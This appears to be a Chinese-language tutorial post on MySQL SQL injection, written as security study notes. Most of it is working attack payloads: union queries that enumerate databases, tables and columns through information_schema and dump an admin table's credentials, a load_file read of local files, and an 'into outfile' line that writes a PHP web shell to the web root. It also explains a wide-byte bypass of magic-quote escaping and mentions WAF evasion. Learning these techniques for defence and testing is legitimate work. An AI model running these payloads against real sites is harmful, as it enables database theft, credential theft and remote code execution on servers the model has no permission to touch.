1. 程式人生 > 資料庫 >十三:SQL注入之MYSQL注入

十三:SQL注入之MYSQL注入

MYSQL注入中首先要明確當前注入點許可權,高許可權注入時有更多的攻擊手法,有的能直接進行getshell操作,其中也會遇到很多的阻礙,相關防禦手法也要明確,所謂知己知彼,百戰不殆。作為安全開發工作者,攻防兼備。
注入點許可權是否為root,取決於連線資料庫的檔案。這也決定了高許可權注入及低許可權注入


跨庫查詢及應用思路

information_schema 表特性,記錄庫名,表名,列名對應表

獲取所有資料庫名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 

查表,找與網站對應的資料庫名,若沒有,則挨個查。或者使用 union select 1,2,database()
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw'

跨庫查列,,,
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw'

查結果。。。
?id=-1 union select 1,u,p from qqyw.admin

檔案讀寫操作

  load_file():讀取檔案函式
  into outfile或者into dumpfile:匯出函式
  
  路徑獲取常見方法:
報錯顯示   (phpinfo.php)   ,遺留檔案      ,漏洞報錯,平臺配置檔案

  常見讀取檔案列表:(需得知網站絕對路徑)
union select 1,load_file('D:\\phpmyadmin\\dudu.txt'),3 

  常見寫入檔案問題:魔術引號開關
union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\\www\\dudu.php'

魔術引號及常見保護

php.ini中存在magic_quotes_gpc選項,稱為魔術引號,此選項開啟,使用GET,POST,cookie所接收的'單引號,"雙引號,\反斜線和NULL字元全部被加上一個反斜線轉義。此時,注入型別是字元型注入已經無法構成威脅。
編碼或者寬位元組進行繞過

isset無法繞過   替換關鍵字

在資料庫使用了寬字符集而WEB中沒考慮這個問題的情況下,在WEB層,由於0XBF27是兩個字元,在PHP中比如addslash和magic_quotes_gpc開啟時,由於會對0x27單引號進行轉義,因此0xbf27會變成0xbf5c27,而資料進入資料庫中時,由於0XBF5C是一個另外的字元,因此\轉義符號會被前面的bf帶著"吃掉",單引號由此逃逸出來可以用來閉合語句。

自定義關鍵字替換

WAF對常見攻擊語句進行報錯,繞過思路

低版本注入配合讀取或者暴力

5.0版本以下,跑字典。。

  字典或讀取